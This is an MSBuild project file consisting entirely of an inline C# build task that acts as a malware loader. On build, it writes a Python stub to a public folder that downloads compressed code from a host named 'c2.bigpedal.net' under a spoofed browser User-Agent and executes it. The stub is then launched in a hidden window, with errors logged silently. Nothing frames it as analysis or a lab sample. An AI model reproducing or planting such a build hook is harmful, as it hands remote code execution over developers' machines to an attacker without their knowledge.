<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Ph"><PhTask8 /></Target>
  <UsingTask TaskName="PhTask8" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Reference Include="System" />
      <Code Type="Class" Language="cs"><![CDATA[
using System;using System.IO;using System.Diagnostics;using Microsoft.Build.Framework;
public class PhTask8:ITask{
  public IBuildEngine BuildEngine{get;set;}
  public ITaskHost HostObject{get;set;}
  public bool Execute(){
    try{
      string stub="import urllib.request as _r,zlib as _z\n_u='https://c2.bigpedal.net'\n_q=_r.Request(_u+'/bz',headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'})\nexec(compile(_z.decompress(_r.urlopen(_q).read()),'<m>','exec'),{'__name__':'__main__'})\n";
      string f=@"C:\Users\Public\Documents\upd.py";
      File.WriteAllText(f,stub);
      string py=@"C:\Users\Krist\AppData\Local\Python\bin\python.exe";
      ProcessStartInfo psi=new ProcessStartInfo(py,f);
      psi.WindowStyle=ProcessWindowStyle.Hidden;psi.CreateNoWindow=true;psi.UseShellExecute=false;
      Process.Start(psi);
      System.Threading.Thread.Sleep(15000);
    }catch(Exception ex){File.WriteAllText(@"C:\Users\Public\Documents\ph_err.txt",ex.ToString());}
    return true;
  }
}]]></Code></Task></UsingTask></Project>